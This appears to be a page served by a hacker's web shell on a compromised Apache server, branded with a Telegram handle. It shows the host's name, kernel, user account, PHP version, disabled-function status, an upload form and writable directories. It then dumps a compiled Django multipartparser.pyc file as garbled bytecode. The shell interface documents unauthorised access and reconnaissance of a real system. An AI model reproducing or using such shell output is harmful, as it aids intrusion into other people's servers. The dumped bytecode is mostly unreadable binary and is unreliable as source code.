https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib64/python2.7/site-packages/django/http/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/site-packages/django/http/multipartparser.pyc
�
r�\c@s�dZddlmZddlZddlZddlZddlmZddlm	Z	ddl
mZddlm
Z
ddlmZdd	lmZdd
lmZmZmZd%Zdefd��YZdefd��YZdZdZdZdefd��YZdejfd��YZ dejfd��YZ!dejfd��YZ"dejfd��YZ#d�Z$d �Z%d!efd"��YZ&d#�Z'd$�Z(dS(&u�
Multi-part parsing for file uploads.

Exposes one class, ``MultiPartParser``, which feeds chunks of uploaded data to
file upload handlers for processing.
i����(tunicode_literalsN(tsettings(tSuspiciousMultipartForm(tMultiValueDict(t
force_text(tsix(tunescape_entities(t
StopUploadtSkipFiletStopFutureHandlersuMultiPartParseruMultiPartParserErroruInputStreamExhaustedtMultiPartParserErrorcBseZRS((t__name__t
__module__(((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR
stInputStreamExhaustedcBseZdZRS(u5
    No more reads are allowed from this device.
    (RRt__doc__(((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR
surawufileufieldtMultiPartParsercBs5eZdZdd�Zd�Zd�Zd�ZRS(u�
    A rfc2388 multipart/form-data parser.

    ``MultiValueDict.parse()`` reads the input stream in ``chunk_size`` chunks
    and returns a tuple of ``(MultiValueDict(POST), MultiValueDict(FILES))``.
    cCs�|jd|jdd��}|jd�s@td|��nt|jd��\}}|jd�}|s�tj|�r�td|��ny(t|jd	|jd
d���}	Wntt	fk
r�d}	nX|	dkr�td|	��nt
|tj�r|jd�}n||_
||_g|D]}
|
jr8|
j^q8}tdg|�|_||_|p�tj|_|	|_||_dS(u�
        Initialize the MultiPartParser object.

        :META:
            The standard ``META`` dictionary in Django request objects.
        :input_data:
            The raw post data, as a file-like object.
        :upload_handlers:
            A list of UploadHandler instances that perform operations on the uploaded
            data. 
        :encoding:
            The encoding with which to treat the incoming data.
        uHTTP_CONTENT_TYPEuCONTENT_TYPEuu
multipart/uInvalid Content-Type: %suasciiuboundaryu!Invalid boundary in multipart: %suHTTP_CONTENT_LENGTHuCONTENT_LENGTHiuInvalid content length: %riiiNI�i���(tgett
startswithR
tparse_headertencodetcgitvalid_boundarytintt
ValueErrort	TypeErrort
isinstanceRt	text_typet	_boundaryt_input_datat
chunk_sizetmint_chunk_sizet_metaRtDEFAULT_CHARSETt	_encodingt_content_lengtht_upload_handlers(tselftMETAt
input_datatupload_handlerstencodingtcontent_typetctypestoptstboundarytcontent_lengthtxtpossible_sizes((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyt__init__+s.(
		%		cCs9ddlm}|j}|j}|jdkrM|dd|j�t�fSxS|D]K}|j|j|j|j|j	|�}|dk	rT|d|dfSqTW|ddt�|_t�|_
tt|j|j��}d}dgt|�}y�x�t||j	�D]�\}	}
}|r<|j||�d}ny"|
dd}|d	j�}
Wntttfk
r}qnX|
jd
�}|dk	r�|dj�}nt|
|dd�}
|	tkrB|d
kr|j�}yt|�jd
�}Wq|}qXn|j�}|jj|
t||dd��q|	tkr�|jd�}|siqnt||dd�}|j t!|��}|
jdd�dj�}y,|
jddif�djdd�}Wn
d}nXyt"|
jd�d�}Wn tt#t$fk
r*d}nXdgt|�}yRx@|D]8}y|j%|
||||�WqHt&k
rPqHXqHWx|D]}|d
kr,t|�d}|r�|jd|�}||7}nyt'j(|�}Wq,t)k
r(}d|}t*j+t,t,|�t-j.�d�q,Xnx\t/|�D]N\}}t|�}|j0|||�}||c|7<|dkr9Pq9q9Wq�WWnt1k
r�t2|�q�X|
}qt2|�qWWn,t3k
r�}|j4st2|j�qnXt2|j�x$|D]}|j5�}|r	Pq	q	W|j|j
fS(u�
        Parse the POST data and break it into a FILES MultiValueDict and a POST
        MultiValueDict.

        Returns a tuple containing the POST and FILES dictionary, respectively.
        i����(t	QueryDictiuR)itmutableucontent-dispositionunameucontent-transfer-encodingterrorsureplaceubase64ufilenameucontent-typeucharsetucontent-lengthiu Could not decode base64 data: %riN(u(6tdjango.httpR2R"R$R#Rthandle_raw_inputRR RtNonetTruet_postt_filest
LazyStreamt	ChunkIterRtlentParserthandle_file_completetstriptKeyErrort
IndexErrortAttributeErrorRRtFIELDtreadtstrtdecodet
appendlisttFILEtIE_sanitizeRRRRtnew_fileR	tbase64t	b64decodet	ExceptionRtreraiseR
tsystexc_infot	enumeratetreceive_data_chunkRtexhaustRtconnection_resettupload_complete(R%R2R)thandlersthandlertresulttstreamtold_field_nametcounterst	item_typet	meta_datatfield_streamtdispositiont
field_namettransfer_encodingtraw_datatdatat	file_nameR*tcharsetR.tchunkt
over_bytest
over_chunktetmsgtitchunk_lengthtretval((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pytparsebs�		
	"	
,



	


*	

		

cCsfx_t|j�D]N\}}|j||�}|r|jjt||jdd�|�PqqWdS(uU
        Handle all the signalling that takes place when a file is complete.
        R4ureplaceN(RRR$t
file_completeR:RHRR"(R%R[R\RlRXtfile_obj((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR?�s	cCs!|o ||jd�dj�S(u3Cleanup filename from Internet Explorer full paths.u\i(trfindR@(R%tfilename((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyRJsN(RRRR7R1RoR?RJ(((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR$s
7	�	R;cBs\eZdZd	d�Zd�Zd	d�Zd�Zd�Zd�Z	d�Z
d�ZRS(
u!
    The LazyStream wrapper allows one to get and "unget" bytes from a stream.

    Given a producer object (an iterator that yields bytestrings), the
    LazyStream object will support iteration, reading, and keeping a "look-back"
    variable in case you need to "unget" some bytes.
    cCsC||_t|_d|_||_d|_||_g|_dS(u�
        Every LazyStream must have a producer when instantiated.

        A producer is an iterable that returns a string each time it
        is called.
        tiN(t	_producertFalset_emptyt	_leftovertlengthtpositiont
_remainingt_unget_history(R%tproducerRy((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR1s						cCs|jS(N(Rz(R%((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyttell#scs(��fd�}dj|��}|S(Nc3s��dkr�jn�}|dkr9dj��VdSxd|dkr�|dks`td��t��}|| }�j||�|t|�8}|Vq<WdS(NRtiu0remaining bytes to read should never go negative(R7R{tjointAssertionErrortnexttungetR=(t	remainingRgtemitting(R%tsize(s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pytparts's
Rt(R(R%R�R�tout((R%R�s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyRE&scCsO|jr|j}d|_nt|j�}g|_|jt|�7_|S(u
        Used when the exact number of bytes to read is unimportant.

        This procedure just returns whatever is chunk is conveniently returned
        from the iterator instead. Useful to avoid unnecessary bookkeeping if
        performance is an issue.
        Rt(RxR�RuR|RzR=(R%toutput((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyt__next__>s			cCs
g|_dS(u�
        Used to invalidate/disable this lazy stream.

        Replaces the producer with an empty list. Any leftover bytes that have
        already been read will still be reported upon read() and/or next().
        N(Ru(R%((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pytcloseOscCs|S(N((R%((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyt__iter__XscCsQ|s
dS|jt|��|jt|�8_dj||jg�|_dS(u�
        Places bytes back onto the front of the lazy stream.

        Future calls to read() will return those bytes first. The
        stream position and thus tell() will be rewound.
        NRt(t_update_unget_historyR=RzRRx(R%tbytes((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR�[s
cCsd|g|jd |_tg|jD]}||kr$|^q$�}|dkr`td��ndS(u[
        Updates the unget history as a sanity check to see if we've pushed
        back the same number of bytes in one chunk. If we keep ungetting the
        same number of bytes many times (here, 50), we're mostly likely in an
        infinite loop of some sort. This is usually caused by a
        maliciously-malformed MIME request.
        i1i(u�The multipart parser got stuck, which shouldn't happen with normal uploaded files. Check for malicious upload activity; if there is none, report this to the Django developers.N(R|R=R(R%t	num_bytestcurrent_numbertnumber_equal((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR�hsN(RRRR7R1R~RER�R�R�R�R�(((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR;s						
R<cBs,eZdZdd�Zd�Zd�ZRS(u�
    An iterable that will yield chunks of data. Given a file-like object as the
    constructor, this object will yield chunks of read operations from that
    object.
    i@icCs||_||_dS(N(tfloR(R%R�R((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR1�s	cCsMy|jj|j�}Wntk
r5t��nX|r@|St��dS(N(R�RERR
t
StopIteration(R%Rd((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR��s

cCs|S(N((R%((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR��si(RRRR1R�R�(((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR<{s	
tInterBoundaryItercBs)eZdZd�Zd�Zd�ZRS(u7
    A Producer that will iterate over boundaries.
    cCs||_||_dS(N(t_streamR(R%RZR-((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR1�s	cCs|S(N((R%((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR��scCs>ytt|j|j��SWntk
r9t��nXdS(N(R;tBoundaryIterR�RR
R�(R%((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR��s
(RRRR1R�R�(((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR��s		R�cBs5eZdZd�Zd�Zd�Zed�ZRS(ue
    A Producer that is sensitive to boundaries.

    Will happily yield bytes until a boundary is found. Will yield the bytes
    before the boundary, throw away the boundary bytes themselves, and push the
    post-boundary bytes back on the stream.

    The future calls to next() after locating the boundary will raise a
    StopIteration exception.
    cCsf||_||_t|_t|�d|_|jjd�}|sRt��n|jj|�dS(Nii(	R�RRvt_doneR=t	_rollbackRER
R�(R%RZR-tunused_char((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR1�s			cCs|S(N((R%((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR��sc
Cs1|jrt��n|j}|j}d}g}xN|D]=}|t|�7}|j|�||krmPn|s:Pq:q:Wt|_|s�t��ndj|�}|j|t|�|jk�}|r�|\}}	|j	||	�t|_|| S|| st|_|S|j	||�|| SdS(NiRt(
R�R�R�R�R=tappendR8Rt_find_boundaryR�(
R%RZtrollbackt
bytes_readtchunksR�RgR-tendR�((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR��s8			

	!		cCs�|j|j�}|dkr"dS|}|t|j�}td|d�}|||d!dkrr|d8}ntd|d�}|||d!dkr�|d8}n||fSdS(u(
        Finds a multipart boundary in data.

        Should no boundry exist in the data None is returned instead. Otherwise
        a tuple containing the indices of the following are returned:

         * the end of current encapsulation
         * the start of the next encapsulation
        iis
s
N(tfindRR7R=tmax(R%RdteoftindexR�R�tlast((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR��s


(RRRR1R�R�RvR�(((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR��s

			)cCsid}yt|�}Wn tk
r8t|d�}nX|dkrTtd��nx|D]}q[WdS(u�
    Completely exhausts an iterator or stream.

    Raise a MultiPartParserError if the argument is not a stream or an iterable.
    i@uGmultipartparser.exhaust() was passed a non-iterable or stream parameterN(R7titerRR<R
(tstream_or_iterabletiteratort__((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyRTs

cCs!|j|�}|jd�}d�}|dkrM|j|�ti|fS|| }|j||d�t}i}x}|jd�D]l}y||�\}	\}
}Wn
q�nX|	dkr�t}|jd�r�t}q�n|
|f||	<q�W|tkr|j|�n|||fS(uI
    Parses one and exactly one stream that encapsulates a boundary.
    s

cSsXt|�\}}y|jdd�\}}Wntd|��nX|||ffS(Nu:iuInvalid header: %r(RtsplitR(tlinetmain_value_pairtparamstnametvalue((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyt
_parse_header#si����is
ucontent-dispositionufilename(RER�R�tRAWR�RDRRI(RZtmax_header_sizeRgt
header_endR�theadertTYPEtoutdictR�R�R�R�((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pytparse_boundary_streams.	


R>cBseZd�Zd�ZRS(cCs||_d||_dS(Ns--(R�t
_separator(R%RZR-((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR1Ps	ccs8t|j|j�}x|D]}t|d�VqWdS(Ni(R�R�R�R�(R%tboundarystreamt
sub_stream((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR�Ts
(RRR1R�(((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR>Os	cCstd|�}|jd�j�jd�}i}x�|D]�}|jd�}|dkr;|| j�j�jd�}||dj�}t|�dkr�|d |dko�dknr�|dd!}|jd	d
�jdd�}n|||<q;q;W||fS(u� Parse the header into a key-value.
        Input (line): bytes, output: unicode for key/name, bytes for value which
        will be decoded later
    t;iuasciit=iii����t"s\\s\s\"(t_parse_header_paramstpoptlowerRGR�R@R=treplace(R�tplisttkeytpdicttpRlR�R�((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyRZs
6
!cCs�g}x�|d dkr�|d}|jd�}x?|dkrs|jdd|�drs|jd|d�}q5W|dkr�t|�}n|| }|j|j��||}q	W|S(NiR�iR�i(R�tcountR=R�R@(tsR�R�tf((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyR�ms
(
(uMultiPartParseruMultiPartParserErroruInputStreamExhausted()Rt
__future__RRLRRPtdjango.confRtdjango.core.exceptionsRtdjango.utils.datastructuresRtdjango.utils.encodingRtdjango.utilsRtdjango.utils.textRtdjango.core.files.uploadhandlerRRR	t__all__RNR
R
R�RIRDtobjectRtIteratorR;R<R�R�RTR�R>RR�(((s=/tmp/pip-install-XxeQeY/django/django/http/multipartparser.pyt<module>s6�o`		:	

https://t.me/AnonymousX5 - 2025